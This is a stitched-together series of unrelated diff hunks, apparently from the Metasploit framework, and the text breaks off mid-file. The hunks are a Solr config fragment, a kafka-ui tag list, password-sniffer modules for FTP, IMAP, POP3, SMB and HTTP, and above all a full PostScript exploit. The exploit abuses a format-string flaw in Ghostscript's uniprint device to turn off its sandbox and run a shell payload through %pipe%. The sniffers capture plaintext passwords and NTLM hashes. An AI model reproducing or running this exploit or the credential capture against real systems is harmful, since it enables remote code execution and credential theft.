class="solr.highlight.SingleFragListBuilder"/>
|
||||
|
||||
<fragListBuilder name="weighted"
|
||||
default="true"
|
||||
class="solr.highlight.WeightedFragListBuilder"/>
|
||||
|
||||
<fragmentsBuilder name="default"
|
||||
default="true"
|
||||
class="solr.highlight.ScoreOrderFragmentsBuilder">
|
||||
</fragmentsBuilder>
|
||||
|
||||
<fragmentsBuilder name="colored"
|
||||
class="solr.highlight.ScoreOrderFragmentsBuilder">
|
||||
<lst name="defaults">
|
||||
<str name="hl.tag.pre"><![CDATA[
|
||||
<b style="background:yellow">,<b style="background:lawgreen">,
|
||||
<b style="background:aquamarine">,<b style="background:magenta">,
|
||||
<b style="background:palegreen">,<b style="background:coral">,
|
||||
<b style="background:wheat">,<b style="background:khaki">,
|
||||
<b style="background:lime">,<b style="background:deepskyblue">]]></str>
|
||||
<str name="hl.tag.post"><![CDATA[</b>]]></str>
|
||||
</lst>
|
||||
</fragmentsBuilder>
|
||||
|
||||
<boundaryScanner name="default"
|
||||
default="true"
|
||||
class="solr.highlight.SimpleBoundaryScanner">
|
||||
<lst name="defaults">
|
||||
<str name="hl.bs.maxScan">10</str>
|
||||
<str name="hl.bs.chars">.,!? 	 </str>
|
||||
</lst>
|
||||
</boundaryScanner>
|
||||
|
||||
<boundaryScanner name="breakIterator"
|
||||
class="solr.highlight.BreakIteratorBoundaryScanner">
|
||||
<lst name="defaults">
|
||||
<str name="hl.bs.type">WORD</str>
|
||||
<str name="hl.bs.language">en</str>
|
||||
<str name="hl.bs.country">US</str>
|
||||
</lst>
|
||||
</boundaryScanner>
|
||||
</highlighting>
|
||||
</searchComponent>
|
||||
|
||||
<updateProcessor class="solr.UUIDUpdateProcessorFactory" name="uuid"/>
|
||||
<updateProcessor class="solr.RemoveBlankFieldUpdateProcessorFactory" name="remove-blank"/>
|
||||
<updateProcessor class="solr.FieldNameMutatingUpdateProcessorFactory" name="field-name-mutating">
|
||||
<str name="pattern">[^\w-\.]</str>
|
||||
<str name="replacement">_</str>
|
||||
</updateProcessor>
|
||||
<updateProcessor class="solr.ParseBooleanFieldUpdateProcessorFactory" name="parse-boolean"/>
|
||||
<updateProcessor class="solr.ParseLongFieldUpdateProcessorFactory" name="parse-long"/>
|
||||
<updateProcessor class="solr.ParseDoubleFieldUpdateProcessorFactory" name="parse-double"/>
|
||||
<updateProcessor class="solr.ParseDateFieldUpdateProcessorFactory" name="parse-date">
|
||||
<arr name="format">
|
||||
<str>yyyy-MM-dd['T'[HH:mm[:ss[.SSS]][z</str>
|
||||
<str>yyyy-MM-dd['T'[HH:mm[:ss[,SSS]][z</str>
|
||||
<str>yyyy-MM-dd HH:mm[:ss[.SSS]][z</str>
|
||||
<str>yyyy-MM-dd HH:mm[:ss[,SSS]][z</str>
|
||||
<str>[EEE, ]dd MMM yyyy HH:mm[:ss] z</str>
|
||||
<str>EEEE, dd-MMM-yy HH:mm:ss z</str>
|
||||
<str>EEE MMM ppd HH:mm:ss [z ]yyyy</str>
|
||||
</arr>
|
||||
</updateProcessor>
|
||||
<updateProcessor class="solr.AddSchemaFieldsUpdateProcessorFactory" name="add-schema-fields">
|
||||
<lst name="typeMapping">
|
||||
<str name="valueClass">java.lang.String</str>
|
||||
<str name="fieldType">text_general</str>
|
||||
<lst name="copyField">
|
||||
<str name="dest">*_str</str>
|
||||
<int name="maxChars">256</int>
|
||||
</lst>
|
||||
<bool name="default">true</bool>
|
||||
</lst>
|
||||
<lst name="typeMapping">
|
||||
<str name="valueClass">java.lang.Boolean</str>
|
||||
<str name="fieldType">booleans</str>
|
||||
</lst>
|
||||
<lst name="typeMapping">
|
||||
<str name="valueClass">java.util.Date</str>
|
||||
<str name="fieldType">pdates</str>
|
||||
</lst>
|
||||
<lst name="typeMapping">
|
||||
<str name="valueClass">java.lang.Long</str>
|
||||
<str name="valueClass">java.lang.Integer</str>
|
||||
<str name="fieldType">plongs</str>
|
||||
</lst>
|
||||
<lst name="typeMapping">
|
||||
<str name="valueClass">java.lang.Number</str>
|
||||
<str name="fieldType">pdoubles</str>
|
||||
</lst>
|
||||
</updateProcessor>
|
||||
|
||||
<updateRequestProcessorChain name="add-unknown-fields-to-the-schema" default="${update.autoCreateFields:true}"
|
||||
processor="uuid,remove-blank,field-name-mutating,parse-boolean,parse-long,parse-double,parse-date,add-schema-fields">
|
||||
<processor class="solr.LogUpdateProcessorFactory"/>
|
||||
<processor class="solr.DistributedUpdateProcessorFactory"/>
|
||||
<processor class="solr.RunUpdateProcessorFactory"/>
|
||||
</updateRequestProcessorChain>
|
||||
|
||||
</config>
|
||||
@@ -0,0 +1,297 @@
|
||||
%!PS-Adobe-3.0 EPSF-3.0
|
||||
%%Pages: 1
|
||||
%%BoundingBox: 36 36 576 756
|
||||
%%LanguageLevel: 1
|
||||
%%EndComments
|
||||
%%BeginProlog
|
||||
%%EndProlog
|
||||
|
||||
% Make sure to restore the original `setpagedevice` from userdict or systemdict
|
||||
% in case it has been redefined in another postscript file.
|
||||
% This happens with ImageMagick for example.
|
||||
userdict begin
|
||||
systemdict /setpagedevice known
|
||||
{
|
||||
/setpagedevice systemdict /setpagedevice get def
|
||||
}
|
||||
if
|
||||
end
|
||||
|
||||
% ====== Configuration ======
|
||||
|
||||
% Offset of `gp_file *out` on the stack
|
||||
/IdxOutPtr MSF_IDXOUTPTR def
|
||||
|
||||
|
||||
% ====== General Postscript utility functions ======
|
||||
|
||||
% from: https://github.com/scriptituk/pslutils/blob/master/string.ps
|
||||
/cat {
|
||||
exch
|
||||
dup length 2 index length add string
|
||||
dup dup 5 2 roll
|
||||
copy length exch putinterval
|
||||
} bind def
|
||||
|
||||
% from: https://rosettacode.org/wiki/Repeat_a_string#PostScript
|
||||
/times {
|
||||
dup length dup % rcount ostring olength olength
|
||||
4 3 roll % ostring olength olength rcount
|
||||
mul dup string % ostring olength flength fstring
|
||||
4 1 roll % fstring ostring olength flength
|
||||
1 sub 0 3 1 roll % fstring ostring 0 olength flength_minus_one
|
||||
{ % fstring ostring iter
|
||||
1 index 3 index % fstring ostring iter ostring fstring
|
||||
3 1 roll % fstring ostring fstring iter ostring
|
||||
putinterval % fstring ostring
|
||||
} for
|
||||
pop % fstring
|
||||
} def
|
||||
|
||||
% Printing helpers
|
||||
% /println { print (\012) print } bind def
|
||||
% /printnumln { =string cvs println } bind def
|
||||
|
||||
% ====== Start of exploit helper code ======
|
||||
|
||||
% Make a new tempfile but only save its path. This gives us a file path to read/write
|
||||
% which will exist as long as this script runs. We don't actually use the file object
|
||||
% (hence `pop`) because we're passing the path to uniprint and reopening it ourselves.
|
||||
/PathTempFile () (w+) .tempfile pop def
|
||||
|
||||
|
||||
% Convert hex string "4142DEADBEEF" to padded little-endian byte string <EFBEADDE42410000>
|
||||
% <HexStr> str_ptr_to_le_bytes <ByteStringLE>
|
||||
/str_ptr_to_le_bytes {
|
||||
% Convert hex string argument to Postscript string
|
||||
% using <DEADBEEF> notation
|
||||
/ArgBytes exch (<) exch (>) cat cat token pop exch pop def
|
||||
|
||||
% Prepare resulting string (`string` fills with zeros)
|
||||
/Res 8 string def
|
||||
|
||||
% For every byte in the input
|
||||
0 1 ArgBytes length 1 sub {
|
||||
/i exch def
|
||||
|
||||
% put byte at index (len(ArgBytes) - 1 - i)
|
||||
Res ArgBytes length 1 sub i sub ArgBytes i get put
|
||||
} for
|
||||
|
||||
Res % return
|
||||
} bind def
|
||||
|
||||
|
||||
% <StackString> <FmtString> do_uniprint <LeakedData>
|
||||
/do_uniprint {
|
||||
/FmtString exch def
|
||||
/StackString exch def
|
||||
|
||||
% Select uniprint device with our payload
|
||||
<<
|
||||
/OutputFile PathTempFile
|
||||
/OutputDevice /uniprint
|
||||
/upColorModel /DeviceCMYKgenerate
|
||||
/upRendering /FSCMYK32
|
||||
/upOutputFormat /Pcl
|
||||
/upOutputWidth 99999
|
||||
/upWriteComponentCommands {(x)(x)(x)(x)} % This is required, just put bogus strings
|
||||
/upYMoveCommand FmtString
|
||||
>>
|
||||
setpagedevice
|
||||
|
||||
% Manipulate the interpreter to put a recognizable piece of data on the stack
|
||||
(%%__) StackString cat .runstring
|
||||
|
||||
% Produce a page with some content to trigger uniprint logic
|
||||
newpath 1 1 moveto 1 2 lineto 1 setlinewidth stroke
|
||||
showpage
|
||||
|
||||
% Read back the written data
|
||||
/InFile PathTempFile (r) file def
|
||||
/LeakedData InFile 4096 string readstring pop def
|
||||
InFile closefile
|
||||
|
||||
LeakedData % return
|
||||
} bind def
|
||||
|
||||
|
||||
% get_index_of_controllable_stack <Idx>
|
||||
/get_index_of_controllable_stack {
|
||||
% A recognizable token on the stack to search for
|
||||
/SearchToken (ABABABAB) def
|
||||
|
||||
% Construct "1:%lx,2:%lx,3:%lx,...,400:%lx,"
|
||||
/FmtString 0 string 1 1 400 { 3 string cvs (:%lx,) cat cat } for def
|
||||
|
||||
SearchToken FmtString do_uniprint
|
||||
|
||||
% Search for ABABABAB => 4241424142414241 (assume LE)
|
||||
(4241424142414241) search {
|
||||
exch pop
|
||||
exch pop
|
||||
% <pre> is left
|
||||
|
||||
% Search for latest comma in <pre> to get e.g. `123:` as <post>
|
||||
(,) rsearch pop pop pop
|
||||
|
||||
% Search for colon and use <pre> to get `123`
|
||||
(:) search pop exch pop exch pop
|
||||
|
||||
% return as int
|
||||
cvi
|
||||
} {
|
||||
% (Could not find our data on the stack.. exiting) println
|
||||
quit
|
||||
} ifelse
|
||||
} bind def
|
||||
|
||||
|
||||
% <StackIdx> <AddrHex> write_to
|
||||
/write_to {
|
||||
/AddrHex exch str_ptr_to_le_bytes def % address to write to
|
||||
/StackIdx exch def % stack idx to use
|
||||
|
||||
/FmtString StackIdx 1 sub (%x) times (_%ln) cat def
|
||||
|
||||
AddrHex FmtString do_uniprint
|
||||
|
||||
pop % we don't care about formatted data
|
||||
} bind def
|
||||
|
||||
|
||||
% <StackIdx> read_ptr_at <PtrHexStr>
|
||||
/read_ptr_at {
|
||||
/StackIdx exch def % stack idx to use
|
||||
|
||||
/FmtString StackIdx 1 sub (%x) times (__%lx__) cat def
|
||||
|
||||
() FmtString do_uniprint
|
||||
|
||||
(__) search pop pop pop (__) search pop exch pop exch pop
|
||||
} bind def
|
||||
|
||||
|
||||
% num_bytes <= 9
|
||||
% <StackIdx> <PtrHex> <NumBytes> read_dereferenced_bytes_at <ResultAsMultipliedInt>
|
||||
/read_dereferenced_bytes_at {
|
||||
/NumBytes exch def
|
||||
/PtrHex exch def
|
||||
/PtrOct PtrHex str_ptr_to_le_bytes def % address to read from
|
||||
/StackIdx exch def % stack idx to use
|
||||
|
||||
/FmtString StackIdx 1 sub (%x) times (__%.) NumBytes 1 string cvs cat (s__) cat cat def
|
||||
|
||||
PtrOct FmtString do_uniprint
|
||||
|
||||
/Data exch (__) search pop pop pop (__) search pop exch pop exch pop def
|
||||
|
||||
% Check if we were able to read all bytes
|
||||
Data length NumBytes eq {
|
||||
% Yes we did! So return the integer conversion of the bytes
|
||||
0 % accumulator
|
||||
NumBytes 1 sub -1 0 {
|
||||
exch % <i> <accum>
|
||||
256 mul exch % <accum*256> <i>
|
||||
Data exch get % <accum*256> <Data[i]>
|
||||
add % <accum*256 + Data[i]>
|
||||
} for
|
||||
} {
|
||||
% We did not read all bytes, add a null byte and recurse on addr+1
|
||||
StackIdx 1 PtrHex ptr_add_offset NumBytes 1 sub read_dereferenced_bytes_at
|
||||
256 mul
|
||||
} ifelse
|
||||
} bind def
|
||||
|
||||
|
||||
% <StackIdx> <AddrHex> read_dereferenced_ptr_at <PtrHexStr>
|
||||
/read_dereferenced_ptr_at {
|
||||
% Read 6 bytes
|
||||
6 read_dereferenced_bytes_at
|
||||
|
||||
% Convert to hex string and return
|
||||
16 12 string cvrs
|
||||
} bind def
|
||||
|
||||
|
||||
% <Offset> <PtrHexStr> ptr_add_offset <PtrHexStr>
|
||||
/ptr_add_offset {
|
||||
/PtrHexStr exch def % hex string pointer
|
||||
/Offset exch def % integer to add
|
||||
|
||||
/PtrNum (16#) PtrHexStr cat cvi def
|
||||
|
||||
% base 16, string length 12
|
||||
PtrNum Offset add 16 12 string cvrs
|
||||
} bind def
|
||||
|
||||
|
||||
% () println
|
||||
|
||||
% ====== Start of exploit logic ======
|
||||
|
||||
|
||||
% Find out the index of the controllable bytes
|
||||
% This is around the 200-300 range but differs per binary/version
|
||||
/IdxStackControllable get_index_of_controllable_stack def
|
||||
% (Found controllable stack region at index: ) print IdxStackControllable printnumln
|
||||
|
||||
% Exploit steps:
|
||||
% - `gp_file *out` is at stack index `IdxOutPtr`.
|
||||
%
|
||||
% - Controllable data is at index `IdxStackControllable`.
|
||||
%
|
||||
% - We want to find out the address of:
|
||||
% out->memory->gs_lib_ctx->core->path_control_active
|
||||
% hence we need to dereference and add ofsets a few times
|
||||
%
|
||||
% - Once we have the address of `path_control_active`, we use
|
||||
% our write primitive to write an integer to its address - 3
|
||||
% such that the most significant bytes (zeros) of that integer
|
||||
% overwrite `path_control_active`, setting it to 0.
|
||||
%
|
||||
% - Finally, with `path_control_active` disabled, we can use
|
||||
% the built-in (normally sandboxed) `%pipe%` functionality to
|
||||
% run shell commands
|
||||
|
||||
|
||||
/PtrOut IdxOutPtr read_ptr_at def
|
||||
|
||||
% (out: 0x) PtrOut cat println
|
||||
|
||||
|
||||
% memory is at offset 144 in out
|
||||
/PtrOutOffset 144 PtrOut ptr_add_offset def
|
||||
/PtrMem IdxStackControllable PtrOutOffset read_dereferenced_ptr_at def
|
||||
|
||||
% (out->mem: 0x) PtrMem cat println
|
||||
|
||||
% gs_lib_ctx is at offset 208 in memory
|
||||
/PtrMemOffset 208 PtrMem ptr_add_offset def
|
||||
/PtrGsLibCtx IdxStackControllable PtrMemOffset read_dereferenced_ptr_at def
|
||||
|
||||
% (out->mem->gs_lib_ctx: 0x) PtrGsLibCtx cat println
|
||||
|
||||
% core is at offset 8 in gs_lib_ctx
|
||||
/PtrGsLibCtxOffset 8 PtrGsLibCtx ptr_add_offset def
|
||||
/PtrCore IdxStackControllable PtrGsLibCtxOffset read_dereferenced_ptr_at def
|
||||
|
||||
% (out->mem->gs_lib_ctx->core: 0x) PtrCore cat println
|
||||
|
||||
% path_control_active is at offset 156 in core
|
||||
/PtrPathControlActive 156 PtrCore ptr_add_offset def
|
||||
|
||||
% (out->mem->gs_lib_ctx->core->path_control_active: 0x) PtrPathControlActive cat println
|
||||
|
||||
% Subtract a bit from the address to make sure we write a null over the field
|
||||
/PtrTarget -3 PtrPathControlActive ptr_add_offset def
|
||||
|
||||
% And overwrite it!
|
||||
IdxStackControllable PtrTarget write_to
|
||||
|
||||
|
||||
% And now `path_control_active` == 0, so we can use %pipe%
|
||||
|
||||
(%pipe%MSF_PAYLOAD) (r) file
|
||||
|
||||
quit
|
||||
Binary file not shown.
@@ -553,7 +553,7 @@ void createStackWriteFormatString(
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
|
||||
// Write the LABEL 6 more times, thus multiplying the the single
|
||||
// Write the LABEL 6 more times, thus multiplying the single
|
||||
// byte write pointer to an 8-byte aligned argv-list pointer and
|
||||
// update argv[0] to point to argv[1..n].
|
||||
writeCount=(((int)argvStackAddress)-(writeCount+56))&0xffff;
|
||||
|
||||
@@ -40,7 +40,16 @@ class SnifferFTP < BaseProtocolParser
|
||||
|
||||
when :login_fail
|
||||
if(s[:user] and s[:pass])
|
||||
report_auth_info(s.merge({:active => false}))
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:sname],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Response code 5 from server",
|
||||
:status => Metasploit::Model::Login::Status::INCORRECT
|
||||
)
|
||||
print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
|
||||
|
||||
s[:pass] = ""
|
||||
@@ -49,7 +58,16 @@ class SnifferFTP < BaseProtocolParser
|
||||
|
||||
when :login_pass
|
||||
if(s[:user] and s[:pass])
|
||||
report_auth_info(s)
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:sname],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Response code 230 from server",
|
||||
:status => Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
)
|
||||
print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
|
||||
# Remove it form the session objects so freeup memory
|
||||
sessions.delete(s[:session])
|
||||
|
||||
@@ -44,7 +44,16 @@ class SnifferIMAP < BaseProtocolParser
|
||||
|
||||
when :login_pass
|
||||
|
||||
report_auth_info(s)
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:sname],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Capability OK reponse from server",
|
||||
:status => Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
)
|
||||
print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
@@ -52,14 +61,32 @@ class SnifferIMAP < BaseProtocolParser
|
||||
|
||||
when :login_fail
|
||||
|
||||
report_auth_info(s.merge({:active => false}))
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:sname],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Capability NO response from server",
|
||||
:status => Metasploit::Model::Login::Status::INCORRECT
|
||||
)
|
||||
print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
sessions.delete(s[:session])
|
||||
|
||||
when :login_bad
|
||||
report_auth_info(s.merge({:active => false}))
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:sname],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Capability BAD response from server",
|
||||
:status => Metasploit::Model::Login::Status::UNTRIED
|
||||
)
|
||||
print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
|
||||
@@ -38,6 +38,10 @@ class SnifferPOP3 < BaseProtocolParser
|
||||
case s[:last]
|
||||
when nil
|
||||
# Its the first +OK must include the banner, worst case its just +OK
|
||||
|
||||
# Strip the banner, so that we don't need to do it multiple times
|
||||
# We can improve the banner by removing the +OK part
|
||||
s[:banner] = matches.strip
|
||||
s[:info] = matches
|
||||
s[:proto] = "tcp"
|
||||
s[:name] = "pop3"
|
||||
@@ -52,8 +56,17 @@ class SnifferPOP3 < BaseProtocolParser
|
||||
s[:proto] = "tcp"
|
||||
s[:name] = "pop3"
|
||||
s[:extra] = "Successful Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:name],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => s[:extra],
|
||||
:status => Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
)
|
||||
print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner]})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
sessions.delete(s[:session])
|
||||
@@ -72,8 +85,17 @@ class SnifferPOP3 < BaseProtocolParser
|
||||
|
||||
s[:proto]="pop3"
|
||||
s[:extra]="Failed Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:proto],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => s[:extra],
|
||||
:status => Metasploit::Model::Login::Status::INCORRECT
|
||||
)
|
||||
print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner]})")
|
||||
s[:pass]=""
|
||||
end
|
||||
when nil
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
# When db is available reports go into db
|
||||
#
|
||||
|
||||
#Memo :
|
||||
#Memo :
|
||||
#FOR SMBV1
|
||||
# Authentification without extended security set
|
||||
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0
|
||||
@@ -20,7 +20,7 @@
|
||||
#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
|
||||
#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
|
||||
#FOR SMBV2
|
||||
#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response
|
||||
#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response
|
||||
|
||||
class SnifferSMB < BaseProtocolParser
|
||||
|
||||
@@ -132,7 +132,7 @@ class SnifferSMB < BaseProtocolParser
|
||||
ntlmlength = payload[53,2].unpack("v")[0]
|
||||
s[:lmhash] = payload[65,lmlength].unpack("H*")[0]
|
||||
s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0]
|
||||
|
||||
|
||||
names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
||||
|
||||
s[:user] = names[0]
|
||||
@@ -145,8 +145,8 @@ class SnifferSMB < BaseProtocolParser
|
||||
if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
|
||||
#do not output anonymous/guest logging
|
||||
unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
|
||||
#set lmhash to a default value if not provided
|
||||
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
|
||||
#set lmhash to a default value if not provided
|
||||
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
|
||||
s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]
|
||||
|
||||
smb_status = payload[9,4].unpack("V")[0]
|
||||
@@ -157,29 +157,29 @@ class SnifferSMB < BaseProtocolParser
|
||||
logmessage =
|
||||
"#{ntlm_ver} Response Captured in #{s[:smb_version]} session : #{s[:session]} \n" +
|
||||
"USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
|
||||
"SERVER CHALLENGE:#{s[:challenge]} " +
|
||||
"\nLMHASH:#{s[:lmhash]} " +
|
||||
"SERVER CHALLENGE:#{s[:challenge]} " +
|
||||
"\nLMHASH:#{s[:lmhash]} " +
|
||||
"\nNTHASH:#{s[:ntlmhash]}\n"
|
||||
print_status(logmessage)
|
||||
|
||||
src_ip = s[:client_host]
|
||||
dst_ip = s[:host]
|
||||
# know this is ugly , last code added :-/
|
||||
smb_db_type_hash = case ntlm_ver
|
||||
when "NTLMv1" then "smb_netv1_hash"
|
||||
when "NTLM2_SESSION" then "smb_netv1_hash"
|
||||
when "NTLMv2" then "smb_netv2_hash"
|
||||
when "NTLMv1" then "netntlm"
|
||||
when "NTLM2_SESSION" then "netntlm"
|
||||
when "NTLMv2" then "netntlmv2"
|
||||
end
|
||||
# DB reporting
|
||||
report_auth_info(
|
||||
:host => dst_ip,
|
||||
:port => 445,
|
||||
:sname => 'smb',
|
||||
report_cred(
|
||||
:ip => dst_ip,
|
||||
:port => s[:port],
|
||||
:service_name => 'smb',
|
||||
:user => s[:user],
|
||||
:pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
|
||||
:type => smb_db_type_hash,
|
||||
:password => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
|
||||
:type => :nonreplayable_hash,
|
||||
:jtr_format => smb_db_type_hash,
|
||||
:proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
|
||||
:active => true
|
||||
:status => Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
)
|
||||
|
||||
report_note(
|
||||
|
||||
@@ -44,7 +44,16 @@ class SnifferURL < BaseProtocolParser
|
||||
end
|
||||
if s[:basic_auth]
|
||||
s[:user], s[:pass] = Rex::Text.decode_base64(s[:basic_auth]).split(':', 2)
|
||||
report_auth_info s
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => 'http',
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Session: #{s[:session]} Basic Auth: #{s[:basic_auth]}",
|
||||
:status => Metasploit::Model::Login::Status::UNTRIED
|
||||
)
|
||||
print_status "HTTP Basic Authentication: #{s[:session]} >> #{s[:user]} / #{s[:pass]}"
|
||||
end
|
||||
when nil
|
||||
|
||||
@@ -0,0 +1,188 @@
|
||||
[
|
||||
{
|
||||
"name": "v0.7.1",
|
||||
"commit": {
|
||||
"sha": "56fa824510d8a35b08e3b42bf6625c846e2ed5a0"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.7.0",
|
||||
"commit": {
|
||||
"sha": "fdd9ad94c11d44259ef26bf4b2dc9a8bd139f607"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.6.2",
|
||||
"commit": {
|
||||
"sha": "b0c367cac7211117e88a55517396764036ac0552"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.6.1",
|
||||
"commit": {
|
||||
"sha": "ef0dacb0c36a1a180ef8fda670c82854658aab00"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.6.0",
|
||||
"commit": {
|
||||
"sha": "e72f6d6d5dd078df2d270cc48a4087588443f89a"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.5.0",
|
||||
"commit": {
|
||||
"sha": "027d9b4653e2f3ea13d4de6a0b2bd568106ffb40"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.4.0",
|
||||
"commit": {
|
||||
"sha": "521ba0cb2f63110eb2ed13a7054a4d70238a862a"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.3.3",
|
||||
"commit": {
|
||||
"sha": "38c4cf7dd9275294348bab903be9dc12eafe37dd"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.3.2",
|
||||
"commit": {
|
||||
"sha": "9d9d31a6694ab1fc12da20ea18fa5a778ce5a631"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.3.1",
|
||||
"commit": {
|
||||
"sha": "e75c251013845f1921ea75c24b44fd7164ee398d"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.3.0",
|
||||
"commit": {
|
||||
"sha": "9606d7ee5ab3b8056b4a69610ae79b7b473d779d"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.2.1",
|
||||
"commit": {
|
||||
"sha": "da29a200cd8ec46da709e0523787479ac6fb274b"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.2.0",
|
||||
"commit": {
|
||||
"sha": "2e345f6f6caeb3495f6454bfaa5a10bf50639411"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.1.0",
|
||||
"commit": {
|
||||
"sha": "1869a7f0a85ceaa707ea25866da98a3ac5a0667e"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.10",
|
||||
"commit": {
|
||||
"sha": "f08970c1d8910091a392d26b51db33b5c99a0f81"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.9",
|
||||
"commit": {
|
||||
"sha": "f98abfb79dc2c437f1b6cb5f534da560c85c5406"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.8",
|
||||
"commit": {
|
||||
"sha": "222cf2c65189c97877491c7bcc6fc14982ce65d7"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.7",
|
||||
"commit": {
|
||||
"sha": "2a743a5bf4b27a6cc9cb857bd178c2e724d98821"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.6",
|
||||
"commit": {
|
||||
"sha": "f6253b6bfaa249236ac1b4f0505f4b7af8f89116"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.5",
|
||||
"commit": {
|
||||
"sha": "abae56b3d0d2383d0351280213236cd988fd6d28"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.4",
|
||||
"commit": {
|
||||
"sha": "4190d76f2fefb65cb898f6c648e932b2c1a5fba3"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.3",
|
||||
"commit": {
|
||||
"sha": "8057dc123f23f6da9752d712edeb5e7e490b648c"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.2",
|
||||
"commit": {
|
||||
"sha": "f5bb336a75351379dad289b73a85f6ebf8ff5498"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.1",
|
||||
"commit": {
|
||||
"sha": "ed08f278f95dca46e58e24a13923939d268eedd3"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.7.1",
|
||||
"commit": {
|
||||
"sha": "c998e17e8322a867c02ef4cdf577aa33c2d3a81e"
